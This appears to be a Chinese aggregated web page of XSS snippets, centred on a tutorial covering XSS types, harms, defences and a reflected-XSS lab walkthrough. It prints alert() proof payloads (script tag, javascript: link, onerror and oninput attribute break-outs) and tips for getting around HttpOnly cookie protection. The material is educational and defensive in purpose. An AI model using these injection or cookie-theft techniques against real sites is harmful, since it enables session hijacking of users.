    使用这种方法,开发人员必须声明浏览器将上载到其网站的内容的批准来源,例如,JavaScript、CSS、HTML框架、字体、图像、可嵌入对象(如Java、ActiveX、音频和视频文件)和其他HTML5特性

    输入文本验证

    此方法是防御XSS攻击的更常见类型。这种对不可靠的文本条目的处理是通过模块的编程来过滤和分析文本的。

    库或框架

    包括微软的反XSS库,这是一个免费开放的集合,收集了开发人员构建一个名为OWASP ESAPI和ApacheWicket的安全web应用程序所需的所有安全方法。

    XSSer

    也称为跨站“脚本”,是一个用于检测和利用XSS漏洞的自动Web测试框架工具,它包含几个试图绕过某些过滤器的选项和一些代码注入的特殊技术。它是由OWASP开发的一种开源项目XSS。

    展开全文
  • PHP 跨站脚本攻击漏洞修复插件,php防护代码,依托360的360_safe3.php文件,使用方法:1.将360_safe3.php传到要包含的文件的目录,2.在页面中加入防护,有两种做法,根据情况二选一即可:  a).在所需要防护的页面...
  • XSS跨站脚本攻击

    2021-02-25 15:58:51
    跨站脚本(crosssitescript)为了避免与样式css混淆,所以简称为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?XSS是指恶意攻击者利用网站没有对用户提交数据...
  • Cross-Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。通常安全圈内的人喜欢称其为前端注入。 前端注入:用户输入的数据被当做前端代码执行...


    一、XSS简介

    (一)什么是XSS?

    Cross-Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击,是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。通常安全圈内的人喜欢称其为前端注入。
    前端注入:用户输入的数据被当做前端代码执行(一般是当做JS代码执行)。
    前端的三种代码中,出现XSS漏洞时,90%的情况下,注入的代码是被当做JS代码执行。
    后端代码是在服务器上执行的,而前端代码是在客户端(浏览器)执行的,并且前端代码是完全对用户开放的,因此对于攻击者而言,通过分析前端代码,并进行测试,则有可能找到针对网站的XSS注入点,从而对网站实施攻击。

    (二)XSS的危害

    • 1、读取目标的cookie并通过ajax方法发送出去(XSS的核心是偷cookie)。关于ajax的内容,有时间我会专门出一篇文章讲解,有需要可以点击下方链接进行查看:
      ajax简介:https://www.w3school.com.cn/js/js_ajax_intro.asp
    • 2、获取内网ip(可以扫描并攻击内网)
    • 3、获取浏览器保存的明文密码
    • 4、截取网页屏幕
    • 5、网页上的键盘记录

    (三)XSS的分类

    XSS分为反射型、存储型和DOM型三类。
    反射型XSS:
    反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。
    提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击。
     
    存储型XSS:
    存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。(你提交的数据成功的实现了XSS后,数据会存入数据库,别人访问这个页面的时候就会自动触发)。
     
    DOM型XSS
    DOM型XSS是最复杂的一类XSS,既可以是反射型(大部分)也可以是存储型(小部分)。DOM最大的核心就是:通过JS代码对网页进行修改,变化和执行。当JS代码执行后的结果产生了XSS漏洞的话,这就是DOM型XSS,再根据该XSS能否被存储进数据库中,可再细分为反射型和存储型。

    (四)XSS的特性

    XSS的核心:获取别人的cookie来登陆别人的账号。
    要展开XSS攻击,需要在目标网站上触发指定的JS语句。攻击者主要通过以下三种触发方式展开攻击:
    1、标签法(又叫XML法) ,比如:

    <script>alert(1)</script>
    

    2、伪协议法,比如:

    <a href=Javascript:alert(1)>123</a>
    

    3、事件法,比如:

    </img src=# onerror=alert(1) />
    

    onXXXX=XXXXX,表示事件.
    onerror表示当加载错误的时候触发。前面的SRC表示图片的路径,随便给它个符号让它报错,然后执行后面的句子。
    如果改成onload,就表示加载成功的时候执行。
    on事件可以去百度搜。事件还有很多,其中渗透测试最常用的事件主要有:

    onerror
    onload
    onfocus
    oninput
    

    (五)XSS攻击过程

    这里以反射型XSS靶场为例,讲解如何展开一波简单的XSS攻击。
    对于攻击者而言,XSS是见框就插。通常是先在目标输入框中输入一些指定的字符,然后在网页源代码中搜索该字符,根据该字符出现在源代码中的位置,分析注入点,展开进一步测试。一般是设法让网页弹窗,如果网页弹窗成功,则表明存在XSS漏洞,就可以根据XSS的类型制定不同的利用策略。
    下面以反射型XSS靶场为例,我们从攻击者的角度,看看如何寻找XSS注入点。
    进入靶场:
    在这里插入图片描述
    输入qwert,然后查看网页源代码,按ctrl+f搜索qwert:
    在这里插入图片描述
    刚才输入的qwert出现在两处地方,其中一处是标签中的文本,暂不考虑利用,先看input标签,我们考虑,看到是单引号闭合,因此我们可以考虑,先闭合掉原标签,然后将后面的单引号注释掉,然后设法让网页弹窗。那么该如何输入呢?如下所示:

    '> <script>alert(1)</script>//
    

    发现网页没弹窗,查看源代码:
    在这里插入图片描述
    分析源代码,可以看到,两个尖括号都被实体化了,但是单引号还在,因此可以尝试改用事件法来做。继续输入:

    ' oninput=alert(1)//
    

    在这里插入图片描述
    成功弹窗!

    二、如何防御XSS攻击?

    实际上,从防御的角度来看,大多数漏洞最有效的防御方法就是过滤。XSS防御最主要的方法就是过滤和html实体化(对代码进行编码,让代码只有文本意义),比如把尖括号换成&lt。由于实体化需要对整个页面进行实体化,因此容易出现二次传参的问题,因此XSS防御起来并不是很容易。由于XSS攻击中,常常有偷用户甚至是管理员cookie的行为,对于这种攻击方法,可以将客户端的httponly勾上,这样就无法通过JS读取cookie了。当然给网站安装WAF也是一种行之有效的防御方法。
    httponly的选项在检查页面的Application里面:
    在这里插入图片描述
    这样在控制台输入document.cookie就读取不到cookie值了。对于httponly默认被勾选的这种情况,可以用ie浏览器来绕过,因为ie浏览器不支持httponly。另外也可以考虑想办法让cookie在页面上输出,比如访问该网站的探针文件(需要对网站进行目录扫描)。如果是使用框架一键搭建的WEB环境,往往有探针,比较常见的探针文件有phpinfo.php,i.php等。


    三、本文小结

    本文针对跨站脚本攻击(XSS)从原理、特性、分类、危害、攻击过程等角度进行了介绍,并讲解了目前主流的XSS防御思路,希望能对大家学习XSS起到一定的参考作用,不足之处敬请谅解。

    展开全文
  • 个问题我的理解是只要让其他网站能执行我的脚本我就有可能危害到,这个网站的用户安全

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 52,375
精华内容 20,950
关键字:

跨站脚本攻击

友情链接: System.Android.Sensors.rar